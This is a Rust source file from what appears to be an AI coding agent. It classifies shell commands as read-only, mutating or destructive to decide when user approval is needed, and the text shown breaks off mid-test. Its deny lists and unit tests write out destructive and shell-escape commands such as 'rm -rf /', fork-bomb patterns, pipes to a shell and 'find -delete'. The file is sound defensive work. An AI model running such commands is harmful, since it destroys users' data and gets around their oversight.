Skip to main content

koda_core/
bash_safety.rs

1//! Bash command safety classification.
2//!
3//! Classifies shell commands by effect: ReadOnly (auto-approve),
4//! LocalMutation (default for unknown), or Destructive (always confirm).
5//!
6//! Three-phase pipeline (#807):
7//!
8//! 1. **Raw structural check** — `RAW_DANGER_PATTERNS` matched against the
9//!    quote-stripped string: backticks, `$(`, pipes-to-shells, fork-bomb syntax.
10//! 2. **Write side-effect check** — quote-aware `>` / `>>` / `| tee` detection.
11//! 3. **Token-level check** — each pipeline segment is tokenised with
12//!    [`shlex::split`] (POSIX); tokens matched against `DANGER_CHECKS` (typed
13//!    enum, not flat substrings). Unparseable segments fail-open → LocalMutation.
14//!
15//! This replaces the old `strip_quoted_strings().contains(pat)` approach, which
16//! produced false positives when a dangerous-looking string appeared as a quoted
17//! argument (e.g. `grep "cargo publish" .`) and missed `$'...'` ANSI-C quoting.
18//!
19//! The LLM is semi-trusted (not adversarial). Classification is a UX layer
20//! (auto-approve vs prompt), not a security enforcement boundary. Kernel-level
21//! sandboxing is tracked separately in DESIGN.md.
22
23use crate::tools::ToolEffect;
24
25// ── Read-only allowlist ───────────────────────────────────────────────────────
26
27/// Commands that are truly read-only — no filesystem writes, no state changes.
28const READ_ONLY_PREFIXES: &[&str] = &[
29    // File inspection
30    "cat ",
31    "head ",
32    "tail ",
33    "less ",
34    "more ",
35    "wc ",
36    "file ",
37    "stat ",
38    "bat ",
39    // Directory listing
40    "ls",
41    "tree",
42    "du ",
43    "df",
44    "pwd",
45    // Search
46    "grep ",
47    "rg ",
48    "ag ",
49    "find ",
50    "fd ",
51    "fzf",
52    // System info
53    "echo ",
54    "printf ",
55    "whoami",
56    "hostname",
57    "uname",
58    "date",
59    "which ",
60    "type ",
61    "command -v ",
62    // NOTE: `env` deliberately excluded — it's a command-runner, not
63    // read-only. `env cargo build` and `env FOO=bar rm file` would auto-approve
64    // in Safe mode if listed here. See #970 for the full analysis. Bare `env`
65    // (printing environment variables) now requires approval; `printenv` is
66    // the cleaner read-only alternative and remains in the allowlist.
67    "printenv",
68    // Version checks
69    "rustc --version",
70    "node --version",
71    "npm --version",
72    "python --version",
73    "python3 --version",
74    // Git read-only
75    "git status",
76    "git log",
77    "git diff",
78    "git branch",
79    "git show",
80    "git remote",
81    "git stash list",
82    "git tag",
83    "git describe",
84    "git rev-parse",
85    "git ls-files",
86    "git blame",
87    // Docker read-only
88    "docker ps",
89    "docker images",
90    "docker logs",
91    "docker compose ps",
92    "docker compose logs",
93    // Text processing (stdout-only; sed -i caught in DANGER_CHECKS)
94    "sort ",
95    "uniq ",
96    "cut ",
97    "awk ",
98    "sed ",
99    "tr ",
100    "diff ",
101    "jq ",
102    "yq ",
103    // NOTE: `xargs` deliberately excluded — it's a command-runner, not a
104    // read-only filter. `xargs rm` would auto-approve in Safe mode if listed
105    // here. See #968 for the discovery and #969 for the broader sweep of
106    // bare-command misclassification fixes.
107    "dirname ",
108    "basename ",
109    "realpath ",
110    "readlink ",
111    // Misc
112    "tput ",
113    "true",
114    "false",
115    "test ",
116    "[ ",
117    // GitHub CLI read-only (#518, #525)
118    "gh issue view",
119    "gh issue list",
120    "gh issue status",
121    "gh pr view",
122    "gh pr list",
123    "gh pr status",
124    "gh pr checks",
125    "gh pr diff",
126    "gh repo view",
127    "gh repo clone",
128    "gh release list",
129    "gh release view",
130    "gh run view",
131    "gh run list",
132    "gh run watch",
133];
134
135// ── Token-level danger checks ─────────────────────────────────────────────────
136
137/// Structured representation of a dangerous command pattern.
138///
139/// Each variant is checked against the shlex token array for a pipeline
140/// segment, avoiding the substring-matching false-positives of the old design.
141#[derive(Debug, Clone, Copy)]
142enum DangerCheck {
143    /// Any invocation of this command is Destructive: `rm`, `sudo`, …
144    Cmd(&'static str),
145    /// Command with a specific flag anywhere in args: `sed -i`, `python -c`, …
146    CmdFlag(&'static str, &'static str),
147    /// Command with an exact subcommand: `npm publish`, `cargo publish`, …
148    CmdSub(&'static str, &'static str),
149    /// Command + subcommand + flag anywhere in remaining args: `git push -f`
150    CmdSubFlag(&'static str, &'static str, &'static str),
151    /// Command + subcommand + exact second token: `gh pr merge`, …
152    CmdSubSub(&'static str, &'static str, &'static str),
153}
154
155/// Returns `true` if token `t` matches `flag` — exact, long-flag, or
156/// combined short-flag (e.g. `-f` matches `-fd`, `-fdc`).
157fn flag_matches(t: &str, flag: &str) -> bool {
158    if t == flag {
159        return true;
160    }
161    // Combined short flags: `-fd` should match flag `-f`
162    if flag.len() == 2 && flag.starts_with('-') && t.starts_with('-') && !t.starts_with("--") {
163        let ch = flag.chars().nth(1).unwrap();
164        return t[1..].contains(ch);
165    }
166    false
167}
168
169impl DangerCheck {
170    fn matches(&self, tokens: &[String]) -> bool {
171        use DangerCheck::*;
172        let Some(cmd) = tokens.first() else {
173            return false;
174        };
175        match *self {
176            Cmd(c) => cmd == c,
177            CmdFlag(c, flag) => cmd == c && tokens[1..].iter().any(|t| flag_matches(t, flag)),
178            CmdSub(c, sub) => cmd == c && tokens.get(1).map(|s| s.as_str()) == Some(sub),
179            CmdSubFlag(c, sub, flag) => {
180                cmd == c
181                    && tokens.get(1).map(|s| s.as_str()) == Some(sub)
182                    && tokens[2..].iter().any(|t| flag_matches(t, flag))
183            }
184            CmdSubSub(c, sub, sub2) => {
185                cmd == c
186                    && tokens.get(1).map(|s| s.as_str()) == Some(sub)
187                    && tokens.get(2).map(|s| s.as_str()) == Some(sub2)
188            }
189        }
190    }
191}
192
193const DANGER_CHECKS: &[DangerCheck] = &[
194    // ── Destructive file operations ──────────────────────────────────────────
195    DangerCheck::Cmd("rm"),
196    DangerCheck::Cmd("rmdir"),
197    // ── Privilege escalation ─────────────────────────────────────────────────
198    DangerCheck::Cmd("sudo"),
199    DangerCheck::Cmd("su"),
200    // ── Low-level disk operations ────────────────────────────────────────────
201    DangerCheck::Cmd("dd"),
202    DangerCheck::Cmd("mkfs"),
203    DangerCheck::Cmd("fdisk"),
204    // ── Permission / ownership changes ───────────────────────────────────────
205    DangerCheck::Cmd("chmod"),
206    DangerCheck::Cmd("chown"),
207    // ── Process control ──────────────────────────────────────────────────────
208    DangerCheck::Cmd("kill"),
209    DangerCheck::Cmd("killall"),
210    DangerCheck::Cmd("pkill"),
211    // ── Arbitrary code execution ─────────────────────────────────────────────
212    DangerCheck::Cmd("eval"),
213    // ── System control ───────────────────────────────────────────────────────
214    DangerCheck::Cmd("reboot"),
215    DangerCheck::Cmd("shutdown"),
216    DangerCheck::Cmd("halt"),
217    // ── In-place file edits ──────────────────────────────────────────────────
218    DangerCheck::CmdFlag("sed", "-i"),
219    DangerCheck::CmdFlag("sed", "--in-place"),
220    // ── Find with destructive flags (#970 sweep) ─────────────────────────────
221    // `find` itself is in READ_ONLY_PREFIXES (read-only by default), but
222    // these flags turn it into a deletion / arbitrary command-runner / file
223    // writer. They must force approval.
224    //   -delete           → deletes matched files
225    //   -exec, -execdir   → runs arbitrary command on matched files
226    //   -ok, -okdir       → like -exec but interactive (still risky to auto-approve)
227    //   -fprint, -fprintf → writes list of matches to a file (bypasses Phase 2)
228    //   -fls              → writes ls-style listing to a file
229    DangerCheck::CmdFlag("find", "-delete"),
230    DangerCheck::CmdFlag("find", "-exec"),
231    DangerCheck::CmdFlag("find", "-execdir"),
232    DangerCheck::CmdFlag("find", "-ok"),
233    DangerCheck::CmdFlag("find", "-okdir"),
234    DangerCheck::CmdFlag("find", "-fprint"),
235    DangerCheck::CmdFlag("find", "-fprintf"),
236    DangerCheck::CmdFlag("find", "-fls"),
237    // ── Interpreter inline execution (prompt-injection vector) ───────────────
238    DangerCheck::CmdFlag("python", "-c"),
239    DangerCheck::CmdFlag("python3", "-c"),
240    DangerCheck::CmdFlag("perl", "-e"),
241    DangerCheck::CmdFlag("ruby", "-e"),
242    DangerCheck::CmdFlag("node", "-e"),
243    // ── Nested shells (bypass classifier) ────────────────────────────────────
244    DangerCheck::CmdFlag("sh", "-c"),
245    DangerCheck::CmdFlag("bash", "-c"),
246    DangerCheck::CmdFlag("zsh", "-c"),
247    // ── Package publishing ────────────────────────────────────────────────────
248    DangerCheck::CmdSub("npm", "publish"),
249    DangerCheck::CmdSub("cargo", "publish"),
250    // ── Destructive git ───────────────────────────────────────────────────────
251    DangerCheck::CmdSubFlag("git", "push", "-f"),
252    DangerCheck::CmdSubFlag("git", "push", "--force"),
253    DangerCheck::CmdSubFlag("git", "reset", "--hard"),
254    DangerCheck::CmdSubFlag("git", "clean", "-f"), // also matches -fd, -fdc, …
255    // ── GitHub CLI destructive (#518, #525) ───────────────────────────────────
256    DangerCheck::CmdSubSub("gh", "pr", "merge"),
257    DangerCheck::CmdSubSub("gh", "issue", "delete"),
258    DangerCheck::CmdSubSub("gh", "repo", "delete"),
259    DangerCheck::CmdSubSub("gh", "release", "delete"),
260    DangerCheck::CmdSub("gh", "api"),
261    DangerCheck::CmdSub("gh", "auth"),
262];
263
264// ── Raw structural patterns ───────────────────────────────────────────────────
265
266/// Shell metacharacters that shlex cannot represent as distinct tokens.
267///
268/// Matched against [`strip_quoted_strings`] output so patterns inside quoted
269/// arguments are ignored (`grep "| sh" file` is safe).
270const RAW_DANGER_PATTERNS: &[&str] = &[
271    "$(",   // command substitution
272    "`",    // backtick command substitution
273    "<(",   // process substitution input  (#973 — hides destructive cmds)
274    ">(",   // process substitution output (#973)
275    "| sh", // pipe to shell interpreter
276    "| bash", "| zsh", "> /dev/", // device writes (>/dev/null is exempted in Phase 2)
277    "(){",     // fork bomb
278    "() {",
279];
280
281// ── Main classifier ───────────────────────────────────────────────────────────
282
283/// Classify a bash command by its side-effect severity.
284///
285/// Returns the *most dangerous* effect found across all pipeline/chain segments:
286/// 1. Raw structural patterns on quote-stripped string → Destructive
287/// 2. Write side-effects (`>`, `>>`, `| tee`) → LocalMutation
288/// 3. Per-segment shlex tokenisation vs `DANGER_CHECKS` → Destructive
289/// 4. Per-segment allowlist vs `READ_ONLY_PREFIXES` → ReadOnly / LocalMutation
290///
291/// Segments that fail shlex tokenisation fail-open to `LocalMutation`.
292///
293/// # Examples
294///
295/// ```
296/// use koda_core::bash_safety::classify_bash_command;
297/// use koda_core::tools::ToolEffect;
298///
299/// assert_eq!(classify_bash_command("ls -la"), ToolEffect::ReadOnly);
300/// assert_eq!(classify_bash_command("git status"), ToolEffect::ReadOnly);
301/// assert_eq!(classify_bash_command("cargo build"), ToolEffect::LocalMutation);
302/// assert_eq!(classify_bash_command("rm -rf /"), ToolEffect::Destructive);
303/// ```
304pub fn classify_bash_command(command: &str) -> ToolEffect {
305    let trimmed = command.trim();
306    if trimmed.is_empty() {
307        return ToolEffect::ReadOnly;
308    }
309
310    // Phase 1 — raw structural patterns on quote-stripped text.
311    let unquoted = strip_quoted_strings(trimmed);
312    for pat in RAW_DANGER_PATTERNS {
313        if unquoted.contains(pat) {
314            return ToolEffect::Destructive;
315        }
316    }
317
318    // Phase 2 — write side-effects.
319    if has_write_side_effect(trimmed) {
320        return ToolEffect::LocalMutation;
321    }
322
323    // Phase 3 — per-segment token-level classification.
324    // We must check ALL segments before short-circuiting on LocalMutation
325    // because a later segment may be Destructive.
326    let segments = split_command_segments(trimmed);
327    let mut worst = ToolEffect::ReadOnly;
328
329    for seg in &segments {
330        let effect = classify_segment(seg);
331        match effect {
332            ToolEffect::Destructive => return ToolEffect::Destructive,
333            ToolEffect::LocalMutation => worst = ToolEffect::LocalMutation,
334            _ => {}
335        }
336    }
337
338    worst
339}
340
341/// Classify a single pipeline/chain segment using shlex tokenisation.
342///
343/// Returns `LocalMutation` on parse failure (fail-open — the user sees the
344/// prompt and can decide; we never auto-approve unparseable syntax).
345fn classify_segment(segment: &str) -> ToolEffect {
346    let seg = strip_env_vars(segment.trim());
347    let seg = strip_redirections(&seg);
348    // Strip leading/trailing subshell `(...)` and group `{...}` brackets so
349    // commands wrapped in them are still classified by their inner command
350    // (#972). E.g. `(rm -rf /)` should classify the same as `rm -rf /`.
351    // Conservative: only strips outermost layer; nested cases like `((rm))`
352    // still work because the leading `(` chars are all stripped together.
353    let seg = seg
354        .trim()
355        .trim_start_matches(['(', '{'])
356        .trim_end_matches([')', '}', ';'])
357        .trim()
358        .to_string();
359
360    if seg.is_empty() {
361        return ToolEffect::ReadOnly;
362    }
363
364    // Tokenise with POSIX shlex. Returns None for unterminated quotes,
365    // complex bash syntax, etc. → fail-open.
366    let tokens = match shlex::split(&seg) {
367        Some(t) if !t.is_empty() => t,
368        _ => return ToolEffect::LocalMutation,
369    };
370
371    // Check against structured danger patterns.
372    for check in DANGER_CHECKS {
373        if check.matches(&tokens) {
374            return ToolEffect::Destructive;
375        }
376    }
377
378    // Fall back to read-only allowlist.
379    // Join tokens with single spaces to normalise irregular whitespace.
380    let canonical = tokens.join(" ");
381    if matches_prefix_list(&canonical, READ_ONLY_PREFIXES) {
382        ToolEffect::ReadOnly
383    } else {
384        ToolEffect::LocalMutation
385    }
386}
387
388// ── Write side-effect detection ───────────────────────────────────────────────
389
390/// Detect write side-effects: `>`, `>>` (except `>/dev/null`, `2>&1`), `| tee`.
391fn has_write_side_effect(command: &str) -> bool {
392    let chars: Vec<char> = command.chars().collect();
393    let mut in_sq = false;
394    let mut in_dq = false;
395    let mut i = 0;
396
397    while i < chars.len() {
398        let c = chars[i];
399        if c == '\'' && !in_dq {
400            in_sq = !in_sq;
401        } else if c == '"' && !in_sq {
402            in_dq = !in_dq;
403        } else if !in_sq && !in_dq && c == '>' {
404            let before = if i > 0 { chars[i - 1] } else { ' ' };
405            if before == '&' {
406                i += 1;
407                continue;
408            }
409            let after: String = chars[i + 1..].iter().collect();
410            let after_trimmed = after.trim_start();
411            if after_trimmed.starts_with("/dev/null")
412                || after_trimmed.starts_with("&1")
413                || after_trimmed.starts_with("&2")
414            {
415                i += 1;
416                continue;
417            }
418            return true;
419        }
420        i += 1;
421    }
422
423    // `| tee` check
424    let segments = split_command_segments(command);
425    for (idx, seg) in segments.iter().enumerate() {
426        if idx > 0 {
427            let t = seg.trim();
428            if t.starts_with("tee ") || t == "tee" {
429                return true;
430            }
431        }
432    }
433
434    false
435}
436
437// ── Public helpers (also used by bash_path_lint) ──────────────────────────────
438
439/// Check if a segment matches any entry in a prefix list.
440///
441/// Each prefix is treated as a bare command (or command head). A trailing space
442/// in the prefix is **decorative only** — historically used to flag entries that
443/// 'normally take an argument' — but the matcher always accepts:
444///
445/// 1. exact match (e.g. bare `sort` at end of `grep ... | sort`)
446/// 2. match followed by a space (e.g. `sort -u`)
447/// 3. match followed by a tab
448///
449/// This avoids substring false-positives like `sortfoo` matching `sort`, while
450/// correctly classifying bare invocations of stdin-consuming filters (#944).
451fn matches_prefix_list(seg: &str, prefixes: &[&str]) -> bool {
452    for prefix in prefixes {
453        let bare = prefix.trim_end();
454        if seg == bare
455            || seg.starts_with(&format!("{bare} "))
456            || seg.starts_with(&format!("{bare}\t"))
457        {
458            return true;
459        }
460    }
461    false
462}
463
464/// Split a command into segments on `|`, `&&`, `||`, `;`.
465/// Respects single and double quotes.
466///
467/// # Examples
468///
469/// ```
470/// use koda_core::bash_safety::split_command_segments;
471///
472/// assert_eq!(split_command_segments("ls | grep foo"), vec!["ls ", " grep foo"]);
473/// assert_eq!(split_command_segments("a && b || c"), vec!["a ", " b ", " c"]);
474/// ```
475pub fn split_command_segments(command: &str) -> Vec<&str> {
476    let mut segments = Vec::new();
477    let mut start = 0;
478    let chars: Vec<char> = command.chars().collect();
479    let mut i = 0;
480    let mut in_single_quote = false;
481    let mut in_double_quote = false;
482
483    while i < chars.len() {
484        let c = chars[i];
485        if c == '\'' && !in_double_quote {
486            in_single_quote = !in_single_quote;
487        } else if c == '"' && !in_single_quote {
488            in_double_quote = !in_double_quote;
489        } else if !in_single_quote && !in_double_quote {
490            let sep_len = if (c == '|' || c == '&') && i + 1 < chars.len() && chars[i + 1] == c {
491                2 // || or &&
492            } else if c == '|' || c == ';' {
493                1
494            } else {
495                0
496            };
497            if sep_len > 0 {
498                segments.push(&command[start..i]);
499                i += sep_len;
500                start = i;
501                continue;
502            }
503        }
504        i += 1;
505    }
506    if start < chars.len() {
507        segments.push(&command[start..]);
508    }
509    segments
510}
511
512/// Replace content inside single and double quotes with spaces.
513///
514/// Used before `RAW_DANGER_PATTERNS` matching to suppress false positives
515/// from quoted arguments (e.g. `grep "cargo publish" .`).
516pub fn strip_quoted_strings(s: &str) -> String {
517    let mut result = String::with_capacity(s.len());
518    let mut chars = s.chars().peekable();
519    while let Some(c) = chars.next() {
520        if c == '\'' {
521            result.push(c);
522            let mut found_close = false;
523            for inner in chars.by_ref() {
524                if inner == '\'' {
525                    result.push(c);
526                    found_close = true;
527                    break;
528                }
529                result.push(' ');
530            }
531            let _ = found_close;
532        } else if c == '"' {
533            result.push(c);
534            let mut found_close = false;
535            while let Some(inner) = chars.next() {
536                if inner == '\\' {
537                    result.push(' ');
538                    if chars.next().is_some() {
539                        result.push(' ');
540                    }
541                    continue;
542                }
543                if inner == '"' {
544                    result.push(c);
545                    found_close = true;
546                    break;
547                }
548                result.push(' ');
549            }
550            let _ = found_close;
551        } else {
552            result.push(c);
553        }
554    }
555    result
556}
557
558/// Strip leading environment variable assignments (`FOO=bar command`).
559///
560/// # Examples
561///
562/// ```
563/// use koda_core::bash_safety::strip_env_vars;
564///
565/// assert_eq!(strip_env_vars("FOO=bar cargo build"), "cargo build");
566/// assert_eq!(strip_env_vars("ls -la"), "ls -la");
567/// ```
568pub fn strip_env_vars(segment: &str) -> String {
569    let mut rest = segment;
570    loop {
571        let trimmed = rest.trim_start();
572        if let Some(eq_pos) = trimmed.find('=') {
573            let before_eq = &trimmed[..eq_pos];
574            if !before_eq.is_empty()
575                && before_eq
576                    .chars()
577                    .all(|c| c.is_ascii_alphanumeric() || c == '_')
578            {
579                let after_eq = &trimmed[eq_pos + 1..];
580                if let Some(space_pos) = find_unquoted_space(after_eq) {
581                    rest = &after_eq[space_pos..];
582                    continue;
583                }
584            }
585        }
586        return trimmed.to_string();
587    }
588}
589
590/// Strip common shell redirections so they don't confuse the allowlist matcher.
591fn strip_redirections(segment: &str) -> String {
592    let mut result = segment.to_string();
593    for pat in ["2>&1", "2>/dev/null", ">/dev/null", "</dev/null"] {
594        result = result.replace(pat, "");
595    }
596    result
597}
598
599/// Position of the first unquoted space in `s`.
600fn find_unquoted_space(s: &str) -> Option<usize> {
601    let mut in_sq = false;
602    let mut in_dq = false;
603    for (i, c) in s.chars().enumerate() {
604        match c {
605            '\'' if !in_dq => in_sq = !in_sq,
606            '"' if !in_sq => in_dq = !in_dq,
607            ' ' | '\t' if !in_sq && !in_dq => return Some(i),
608            _ => {}
609        }
610    }
611    None
612}
613
614// ── Internal unit tests ─────────────────────────────────────────────────────
615
616#[cfg(test)]
617mod tests {
618    use super::*;
619
620    // flag_matches
621
622    #[test]
623    fn test_flag_matches_exact() {
624        assert!(flag_matches("-i", "-i"));
625        assert!(flag_matches("--force", "--force"));
626        assert!(!flag_matches("-n", "-i"));
627        assert!(!flag_matches("--force", "-f"));
628    }
629
630    #[test]
631    fn test_flag_matches_combined_short() {
632        assert!(flag_matches("-fd", "-f"));
633        assert!(flag_matches("-fdc", "-f"));
634        assert!(!flag_matches("-nd", "-f"));
635        assert!(!flag_matches("--force", "-f"));
636    }
637
638    // DangerCheck::matches
639
640    #[test]
641    fn test_danger_check_cmd() {
642        let t = |s: &str| s.to_string();
643        let rm = vec![t("rm"), t("-rf"), t("/")];
644        assert!(DangerCheck::Cmd("rm").matches(&rm));
645        assert!(!DangerCheck::Cmd("ls").matches(&rm));
646    }
647
648    #[test]
649    fn test_danger_check_cmd_flag() {
650        let t = |s: &str| s.to_string();
651        let sed_i = vec![t("sed"), t("-i"), t("s/a/b/")];
652        assert!(DangerCheck::CmdFlag("sed", "-i").matches(&sed_i));
653        assert!(!DangerCheck::CmdFlag("sed", "--in-place").matches(&sed_i));
654    }
655
656    #[test]
657    fn test_danger_check_combined_flag() {
658        let t = |s: &str| s.to_string();
659        let git_clean_fd = vec![t("git"), t("clean"), t("-fd")];
660        assert!(DangerCheck::CmdSubFlag("git", "clean", "-f").matches(&git_clean_fd));
661        let git_clean_n = vec![t("git"), t("clean"), t("-nd")];
662        assert!(!DangerCheck::CmdSubFlag("git", "clean", "-f").matches(&git_clean_n));
663    }
664
665    #[test]
666    fn test_danger_check_cmd_sub_sub() {
667        let t = |s: &str| s.to_string();
668        let merge = vec![t("gh"), t("pr"), t("merge"), t("42")];
669        assert!(DangerCheck::CmdSubSub("gh", "pr", "merge").matches(&merge));
670        assert!(!DangerCheck::CmdSubSub("gh", "pr", "view").matches(&merge));
671    }
672
673    // split_command_segments
674
675    #[test]
676    fn test_split_pipe() {
677        let segs = split_command_segments("cat file | grep pattern");
678        assert_eq!(segs.len(), 2);
679        assert_eq!(segs[0].trim(), "cat file");
680        assert_eq!(segs[1].trim(), "grep pattern");
681    }
682
683    #[test]
684    fn test_split_chain_and_semicolon() {
685        assert_eq!(split_command_segments("cargo build && cargo test").len(), 2);
686        assert_eq!(split_command_segments("echo a; echo b; echo c").len(), 3);
687    }
688
689    #[test]
690    fn test_split_respects_quotes() {
691        let segs = split_command_segments("echo 'a | b' | grep x");
692        assert_eq!(segs.len(), 2);
693        assert!(segs[0].contains("'a | b'"));
694    }
695
696    // strip_quoted_strings
697
698    #[test]
699    fn test_strip_quoted_backslash_escaped() {
700        assert_eq!(
701            strip_quoted_strings(r#"echo "it\"s fine" ; ls"#),
702            r#"echo "          " ; ls"#,
703        );
704        let stripped = strip_quoted_strings(r#"echo "safe\" ; rm -rf /""#);
705        assert!(!stripped.contains("rm -rf"));
706    }
707
708    // strip_env_vars
709
710    #[test]
711    fn test_strip_env_vars_basic() {
712        assert_eq!(strip_env_vars("FOO=bar cargo build"), "cargo build");
713        assert_eq!(strip_env_vars("ls -la"), "ls -la");
714    }
715
716    // matches_prefix_list
717
718    /// Bare commands at the end of a pipeline must match prefixes that
719    /// historically used a trailing-space convention (#944 regression test).
720    #[test]
721    fn test_matches_prefix_list_bare_command() {
722        let prefixes = &["sort ", "wc ", "uniq ", "cat ", "grep "];
723        for cmd in ["sort", "wc", "uniq", "cat", "grep"] {
724            assert!(
725                matches_prefix_list(cmd, prefixes),
726                "bare `{cmd}` should match the prefix list"
727            );
728        }
729    }
730
731    /// With-argument forms must still match (no regression).
732    #[test]
733    fn test_matches_prefix_list_with_args() {
734        let prefixes = &["sort ", "wc ", "grep "];
735        for cmd in ["sort -u", "wc -l", "grep -i foo"] {
736            assert!(matches_prefix_list(cmd, prefixes), "`{cmd}` should match");
737        }
738    }
739
740    /// Tab separator (rare but legal) still matches.
741    #[test]
742    fn test_matches_prefix_list_tab_separator() {
743        let prefixes = &["sort "];
744        assert!(matches_prefix_list("sort\t-u", prefixes));
745    }
746
747    /// Substring false-positives are still rejected (the original purpose of
748    /// the trailing-space convention).
749    #[test]
750    fn test_matches_prefix_list_no_substring_false_positive() {
751        let prefixes = &["sort ", "cat ", "ls"];
752        for cmd in ["sortfoo", "catalogue", "lsof", "sortir"] {
753            assert!(
754                !matches_prefix_list(cmd, prefixes),
755                "`{cmd}` must not match (substring false-positive)"
756            );
757        }
758    }
759
760    // classify_bash_command (#944)
761
762    /// Bare read-only commands at the end of a pipeline must auto-approve.
763    /// Repro table from #944 plus a sweep of common stdin-consuming filters.
764    #[test]
765    fn test_classify_bare_pipeline_tail_is_read_only() {
766        let cases = [
767            // From #944 repro table:
768            "sort",
769            "ls | sort",
770            "echo hi | wc",
771            "cat file | uniq",
772            // Real-world example from the bug report:
773            "grep -c \"^pub fn find_matches\" src/properties/*.rs | sort",
774            // Other common bare stdin filters:
775            "echo hi | cat",
776            "echo hi | head",
777            "echo hi | tail",
778            "echo hi | sed",
779            "echo hi | awk",
780            "echo hi | tr",
781            "echo hi | jq",
782            // NOTE: `echo hi | xargs` removed — fixed in #968 to correctly
783            // classify as LocalMutation (xargs runs the inner command).
784            "ls | wc",
785            "find . | sort | uniq",
786        ];
787        for cmd in cases {
788            assert_eq!(
789                classify_bash_command(cmd),
790                ToolEffect::ReadOnly,
791                "`{cmd}` should classify as ReadOnly",
792            );
793        }
794    }
795
796    /// With-argument variants must still classify as ReadOnly (no regression).
797    #[test]
798    fn test_classify_pipeline_tail_with_args_still_read_only() {
799        let cases = [
800            "ls | sort -u",
801            "echo hi | wc -l",
802            "cat file | uniq -c",
803            "find . | head -20",
804            "git log | grep WIP",
805        ];
806        for cmd in cases {
807            assert_eq!(
808                classify_bash_command(cmd),
809                ToolEffect::ReadOnly,
810                "`{cmd}` should classify as ReadOnly",
811            );
812        }
813    }
814
815    /// Mutating commands at the pipeline tail must NOT be misclassified as
816    /// ReadOnly by the broader matcher.
817    #[test]
818    fn test_classify_mutating_pipeline_tail_not_read_only() {
819        // `tee` writes — caught by has_write_side_effect (Phase 2),
820        // not segment classification, but verify the end-to-end result.
821        for cmd in [
822            "echo content | tee output.txt",
823            "echo content | tee",
824            "ls > files.txt",
825        ] {
826            assert_ne!(
827                classify_bash_command(cmd),
828                ToolEffect::ReadOnly,
829                "`{cmd}` must not be ReadOnly (has write side effect)",
830            );
831        }
832    }
833
834    /// Bare commands NOT in the read-only list still classify as
835    /// LocalMutation — the matcher widening doesn't leak unrelated commands.
836    #[test]
837    fn test_classify_bare_unknown_command_not_read_only() {
838        for cmd in ["cargo", "npm", "make", "docker"] {
839            assert_ne!(
840                classify_bash_command(cmd),
841                ToolEffect::ReadOnly,
842                "bare `{cmd}` must not be misclassified as ReadOnly",
843            );
844        }
845    }
846
847    // xargs classification (#968)
848
849    /// `xargs <cmd>` runs `<cmd>` as a subprocess. It must NOT auto-approve in
850    /// Safe mode, regardless of which inner command is invoked. Removing
851    /// `xargs` from READ_ONLY_PREFIXES makes any pipeline with an `xargs`
852    /// segment fall through to LocalMutation.
853    #[test]
854    fn test_classify_xargs_with_destructive_inner_not_read_only() {
855        for cmd in [
856            "ls | xargs rm",
857            "find . -name '*.tmp' | xargs rm",
858            "echo file | xargs rm -rf",
859            "ls | xargs mv -t /tmp",
860            "echo a b c | xargs cp -t /backup",
861        ] {
862            assert_ne!(
863                classify_bash_command(cmd),
864                ToolEffect::ReadOnly,
865                "`{cmd}` must NOT be ReadOnly — xargs runs the inner command",
866            );
867        }
868    }
869
870    /// Even `xargs <read-only-cmd>` should not auto-approve. We can't safely
871    /// inspect the inner command without a real parser, so the conservative
872    /// stance is to require approval for *all* xargs invocations.
873    #[test]
874    fn test_classify_xargs_with_read_only_inner_still_not_auto_approved() {
875        for cmd in ["ls | xargs grep foo", "ls | xargs cat", "ls | xargs wc"] {
876            assert_ne!(
877                classify_bash_command(cmd),
878                ToolEffect::ReadOnly,
879                "`{cmd}` should require approval — xargs is opaque to the classifier",
880            );
881        }
882    }
883
884    /// Removing `xargs` from the prefix list must not regress unrelated
885    /// read-only pipelines.
886    #[test]
887    fn test_classify_non_xargs_pipelines_still_read_only() {
888        for cmd in [
889            "ls | grep foo",
890            "cat file | sort | uniq",
891            "find . | head -20",
892            "git log | grep WIP",
893        ] {
894            assert_eq!(
895                classify_bash_command(cmd),
896                ToolEffect::ReadOnly,
897                "`{cmd}` should still be ReadOnly",
898            );
899        }
900    }
901
902    // env classification (#970)
903
904    /// `env <cmd>` runs `<cmd>` as a subprocess. It must NOT auto-approve in
905    /// Safe mode, regardless of the inner command. Same bug class as #968.
906    #[test]
907    fn test_classify_env_with_inner_command_not_read_only() {
908        for cmd in [
909            "env cargo build",
910            "env make install",
911            "env FOO=bar rm file",
912            "env PATH=/tmp ls /",
913            "env -i bash",
914        ] {
915            assert_ne!(
916                classify_bash_command(cmd),
917                ToolEffect::ReadOnly,
918                "`{cmd}` must NOT be ReadOnly — env runs the inner command",
919            );
920        }
921    }
922
923    /// Bare `env` (which prints environment variables) now requires approval.
924    /// `printenv` is the cleaner read-only alternative.
925    #[test]
926    fn test_classify_bare_env_requires_approval_printenv_does_not() {
927        assert_ne!(
928            classify_bash_command("env"),
929            ToolEffect::ReadOnly,
930            "bare `env` now requires approval (use `printenv` instead)",
931        );
932        assert_eq!(
933            classify_bash_command("printenv"),
934            ToolEffect::ReadOnly,
935            "`printenv` is the read-only alternative",
936        );
937        assert_eq!(
938            classify_bash_command("printenv PATH"),
939            ToolEffect::ReadOnly,
940            "`printenv VAR` reads a single var",
941        );
942    }
943
944    // find with destructive flags (#970 sweep finding)
945
946    /// `find -delete` deletes files. Must force approval even though `find`
947    /// itself is in READ_ONLY_PREFIXES.
948    #[test]
949    fn test_classify_find_delete_is_destructive() {
950        for cmd in [
951            "find . -name '*.tmp' -delete",
952            "find /tmp -delete",
953            "find . -type f -delete",
954        ] {
955            assert_eq!(
956                classify_bash_command(cmd),
957                ToolEffect::Destructive,
958                "`{cmd}` must be Destructive (deletes files)",
959            );
960        }
961    }
962
963    /// `find -exec <cmd>` runs arbitrary commands. Must force approval.
964    #[test]
965    fn test_classify_find_exec_is_destructive() {
966        for cmd in [
967            "find . -name '*.tmp' -exec rm {} ;",
968            "find . -exec touch {} ;",
969            "find . -execdir rm {} +",
970            "find /var/log -exec gzip {} ;",
971        ] {
972            assert_eq!(
973                classify_bash_command(cmd),
974                ToolEffect::Destructive,
975                "`{cmd}` must be Destructive (runs inner command)",
976            );
977        }
978    }
979
980    /// `find -fprint`, `-fprintf`, `-fls` write match results to a file. Must
981    /// force approval since they bypass Phase 2 (no `>` redirect).
982    #[test]
983    fn test_classify_find_file_writing_flags_destructive() {
984        for cmd in [
985            "find . -fprint /tmp/out",
986            "find / -fprintf /tmp/out '%p\\n'",
987            "find . -fls /tmp/out",
988        ] {
989            assert_eq!(
990                classify_bash_command(cmd),
991                ToolEffect::Destructive,
